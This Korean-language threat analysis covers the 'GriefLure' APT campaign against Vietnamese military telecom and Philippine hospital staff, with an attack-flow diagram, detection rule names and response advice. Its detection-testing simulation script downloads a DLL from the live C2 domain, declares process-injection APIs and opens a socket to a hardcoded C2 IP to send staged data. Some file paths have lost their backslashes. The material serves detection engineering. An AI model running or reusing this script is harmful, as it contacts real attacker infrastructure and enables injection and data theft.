GriefLure 작전: 베트남 군사 통신 및 필리핀 보건의료를 겨냥한 APT 캠페인 분석
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
Seqrite Labs는 악성 Windows LNK 파일이 두 번 압축된 RAR 아카이브 내부에 숨겨진 형태로 의존한 타겟 스피어피싱 캠페인을 확인했습니다. 열리면, LNK는 기본 ftp.exe 로더를 실행하여 조각화된 sfsvc.exe 페이로드를 재구성했습니다. .doc 피해자의 기기에 저장된 파일에서. 이 활동은 베트남 군소유 통신 부문 내 고위 경영진 및 필리핀의 사립 병원 직원들을 대상으로 정당해 보이는 문서를 미끼로 사용하여 진행되었습니다. 전체 감염 체인은 10초도 안 되는 시간에 완료되었으며 디스크에 최소한의 아티팩트만 남겼습니다.
조사
조사는 아카이브 구조를 분석하고, LNK 실행 경로를 맵핑하며, 맞춤형 sfsvc.exe 로더를 역설계하여, regsvr32.exe로 보이도록 설계된 것을 밝혔습니다. 분석가들은 DLL 사이드로딩, 메모리 내 쉘코드 실행, 프로세스 인젝션 및 의심스러운 도메인을 통한 C2 통신을 문서화했습니다. 아티팩트 검토 과정에서는 하드코딩된 C2 도메인, www.whatsappcenter.com, 홍콩에서 불릿프루프 서비스 제공자를 통해 호스팅되었습니다.
완화
방어자는 이메일 첨부파일로 전달된 LNK 파일의 실행을 차단하고 기본적인 ftp.exe 명령행 인자를 사용하는 파일을 적극적으로 모니터링해야 합니다. 엔드포인트 탐지는 파일 없는 DLL 로딩, C:UsersPublicUpdate하의 대체 데이터 스트림 쓰기 및 sfsvc.exe의 급속한 생성을 집중적으로 모니터링해야 합니다. 조직 또한 문서 진위 확인을 강화하고 합법적인 법적 또는 내부 고발자 관련 파일로 보이는 미끼에 대해 사용자를 교육해야 합니다.
응답
악성 LNK 또는 sfsvc.exe 프로세스가 감지되면, 감염된 엔드포인트를 즉시 격리하고, volatile 메모리를 수집하여 탐색하고 360.*.dll 로더 파일 및 대체 데이터 스트림 아티팩트를 찾아야 합니다. 식별된 C2 도메인 및 관련 IP 주소를 차단하고, 데이터 유출 여부를 확인하기 위한 사고 대응을 시작해야 합니다. 또한, 환경 전반에서 유사한 LNK 구동 ftp.exe 로더 활동을 위한 더 넓은 탐색을 실시해야 합니다.
graph TB %% 클래스 정의 classDef action fill:#c2e0ff classDef tool fill:#ffcc99 classDef process fill:#ffeb99 classDef file fill:#d0ffd0 classDef malware fill:#ff9999 classDef c2 fill:#ffb3e6 %% 노드 – 공격 흐름 attack_initial_access[“<b>행위</b> – <b>T1566.001 스피어피싱 첨부파일</b><br/>피해자는 악성 LNK 파일이 포함된 이중 압축 RAR 아카이브를 수신”] class attack_initial_access action artifact_rar[“<b>파일</b> – RAR 아카이브<br/>정상적인 법률 문서처럼 보이는 파일과 악성 LNK 포함”] class artifact_rar file artifact_lnk[“<b>파일</b> – 악성 LNK<br/>탐지를 회피하기 위한 이중 확장자 (예: document.lnk.rar)”] class artifact_lnk file tool_ftp[“<b>도구</b> – ftp.exe (Windows 시스템 바이너리)<br/>숨겨진 배치 스크립트를 실행하기 위한 프록시로 사용”] class tool_ftp tool process_batch[“<b>프로세스</b> – 배치 스크립트<br/>copy /b를 실행하여 sfsvc.exe와 360.dll로 페이로드를 재구성”] class process_batch process file_sfsvc_exe[“<b>파일</b> – sfsvc.exe<br/>문서 조각으로부터 생성된 최종 페이로드 실행 파일”] class file_sfsvc_exe file file_360dll[“<b>파일</b> – 360.dll<br/>쉘코드 전달 및 DLL 사이드로딩용 폴리모픽 DLL”] class file_360dll file action_modify_path[“<b>행위</b> – <b>T1574.007 환경 변수(PATH) 수정</b><br/>지속성을 위해 C:\\Users\\Public\\Update를 PATH에 추가”] class action_modify_path action action_dll_side_load[“<b>행위</b> – <b>T1574.002 DLL 사이드로딩</b> & <b>T1546.009 AppCert DLL 실행</b><br/>sfsvc.exe가 /calldll 및 DllRegisterServer로 360.dll 로드”] class action_dll_side_load action process_explorer[“<b>프로세스</b> – explorer.exe<br/>DLL 인젝션 대상 프로세스”] class process_explorer process action_process_injection[“<b>행위</b> – <b>T1055.001 DLL 인젝션</b><br/>360.dll이 explorer.exe에 2단계 쉘코드 주입”] class action_process_injection action action_discovery[“<b>행위</b> – <b>T1057 프로세스 탐지</b> & <b>T1518.001 보안 소프트웨어 탐지</b><br/>실행 중 프로세스 및 보안 제품 열거”] class action_discovery action action_cred_access[“<b>행위</b> – <b>T1555.003 브라우저 자격 증명</b> & <b>T1552.001 파일 내 자격 증명</b><br/>저장된 비밀번호, 쿠키, 설정 파일 탈취”] class action_cred_access action action_collection[“<b>행위</b> – <b>T1113 화면 캡처</b> & <b>T1083 파일 및 디렉터리 탐색</b><br/>스크린샷 및 디렉터리 목록 수집”] class action_collection action action_exfiltration[“<b>행위</b> – <b>T1071.001 HTTPS</b> & <b>T1573 난독화/암호화 채널</b><br/>XOR 인코딩된 HTTPS로 C2 서버로 데이터 전송”] class action_exfiltration action c2_server[“<b>C2 서버</b> – www.whatsappcenter.com<br/>탈취된 데이터 수신”] class c2_server c2 %% 연결 attack_initial_access –>|전달| artifact_rar artifact_rar –>|포함| artifact_lnk artifact_lnk –>|호출| tool_ftp tool_ftp –>|실행| process_batch process_batch –>|생성| file_sfsvc_exe process_batch –>|생성| file_360dll file_sfsvc_exe –>|트리거| action_modify_path action_modify_path –>|활성화| action_dll_side_load file_360dll –>|로드됨| action_dll_side_load action_dll_side_load –>|주입| process_explorer process_explorer –>|대상| action_process_injection action_process_injection –>|활성화| action_discovery action_discovery –>|정보 제공| action_cred_access action_cred_access –>|데이터 제공| action_collection action_collection –>|이동| action_exfiltration action_exfiltration –>|전송| c2_server
공격 흐름
탐지
명령행을 통한 이중 확장 (cmdline)을 가진 잠재적 악성 LNK 파일
보기
비정상적인 확장을 가진 FTP 스크립트 실행 가능성 (cmdline)
보기
공용 사용자 프로필에서의 의심스러운 실행 (프로세스 생성)
보기
대체 원격 액세스 / 관리 소프트웨어 (프로세스 생성)
보기
공용 사용자 프로필의 의심스러운 파일 (파일 이벤트)
보기
Operation GriefLure: 베트남 군사 통신 및 필리핀 의료 부문을 타겟으로 한 APT 캠페인 분해 탐지: IOC (HashSha256)
보기
Operation GriefLure: 베트남 군사 통신 및 필리핀 의료 부문을 타겟으로 한 APT 캠페인 분해 탐지: IOC (SourceIP)
보기
Operation GriefLure: 베트남 군사 통신 및 필리핀 의료 부문을 타겟으로 한 APT 캠페인 분해 탐지: IOC (DestinationIP)
보기
Operation GriefLure C2 통신 탐지 [Windows 네트워크 연결]
보기
ftp.exe 및 sfsvc.exe를 사용한 Operation GriefLure 활동 탐지 [Windows 프로세스 생성]
보기
시뮬레이션 실행
사전 요구 사항: 원격 관측 및 기준 프리플라이트 점검이 완료되어야 합니다.
명분: 이 섹션은 탐지 규칙을 트리거하기 위해 설계된 적의 기술 실행을 상세히 설명합니다. 명령 및 이야기는 식별된 TTP를 직접 반영하고 탐지 논리에 의해 기대되는 정확한 원격 관측을 생성해야 합니다. 추상적이거나 관련 없는 예는 오진을 초래할 수 있습니다.
-
공격 서사 및 명령:
공격자는 피싱 첨부 파일을 통해 초기 접촉을 얻은 후 (T1566.001, T1204.002), 실행 가능한 페이로드를 피하기 위해 실생할 수 있는 접근 방식을 선택합니다. 내장된cmd.exe(T1059.003)를 사용하여 PowerShell 원라이너를 실행하고, 다음 단계를 수행합니다:- 탐색 – 시스템 정보(탐색)T1082)와 실행 중인 프로세스(T1057)를 열거하여 적절한 인젝션 대상을 결정합니다.
- 자격 증명 수집 – 브라우저 저장소 읽기(T1555.003) 및 자격 파일 덤프(T1552.001)를 스테이징 폴더로 설정합니다.
- 페이로드 검색 – C2 도메인에서 악성 DLL 다운로드
www.whatsappcenter.com:T1071.001, T1041). - 프로세스 인젝션 – DLL을
explorer.exe(T1055.001)에 주입하여 지속성을 얻고 권한을 상승시킵니다. - C2 통신 – 지속적인 TCP 연결을 열고
38.54.122.188(하드코딩된 IP)으로 수집한 데이터를 유출하기 시작합니다.
Sigma 규칙을 만족하는 핵심 단계는 정확한 도메인/IP에 대한 아웃바운드 연결 시도이며, 이는 Sysmon 및 Windows 방화벽에 의해 기록됩니다.
-
회귀 테스트 스크립트:
# ------------------------------------------------- # GriefLure C2 시뮬레이션 – PowerShell 버전 # ------------------------------------------------- # 1. 시스템 발견 (T1082, T1057) Get-CimInstance -ClassName Win32_OperatingSystem | Out-Null Get-Process | Select-Object -First 5 | Out-Null # 2. 자격 증명 수집 시뮬레이션 (T1555.003, T1552.001) $credStaging = "$env:TEMPcreds.txt" "username=admin`npassword=P@ssw0rd!" | Set-Content -Path $credStaging # 3. 하드코딩된 C2 도메인에서 악성 DLL 다운로드 (T1071.001, T1041) $c2Domain = "www.whatsappcenter.com" $c2Url = "https://$c2Domain/payload.dll" $dllPath = "$env:TEMPpayload.dll" Invoke-WebRequest -Uri $c2Url -OutFile $dllPath -UseBasicParsing # 4. explorer.exe에 DLL 주입 (T1055.001) $target = (Get-Process -Name explorer).Id $inject = @" using System; using System.Runtime.InteropServices; public class Injector { [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll", SetLastError=true)] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll")] public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); } "@ Add-Type $inject # (실제 인젝션 단계는 간단하게 설명되어 생략; 실험에서 위 API를 호출해야 합니다.) # 5. 하드코딩된 IP (T1041)로 지속적인 C2 소켓 열기 $c2Ip = "38.54.122.188" $port = 443 $client = New-Object System.Net.Sockets.TcpClient $client.Connect($c2Ip, $port) $stream = $client.GetStream() $payload = [System.Text.Encoding]::UTF8.GetBytes("EXFIL_START") $stream.Write($payload,0,$payload.Length) Start-Sleep -Seconds 5 $stream.Close() $client.Close() -
정리 명령:
# 스테이징 파일 제거 Remove-Item -Path "$env:TEMPcreds.txt" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPpayload.dll" -Force -ErrorAction SilentlyContinue # 열린 TCP 연결이 있으면 닫기 Get-NetTCPConnection -RemotePort 443 -RemoteAddress 38.54.122.188 | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force } # Sysmon 버퍼 초기화 (반복 테스트를 위해 깨끗한 상태 유지) & "$env:ProgramFilesSysinternalsSysmon.exe" -c sysmon-config.xml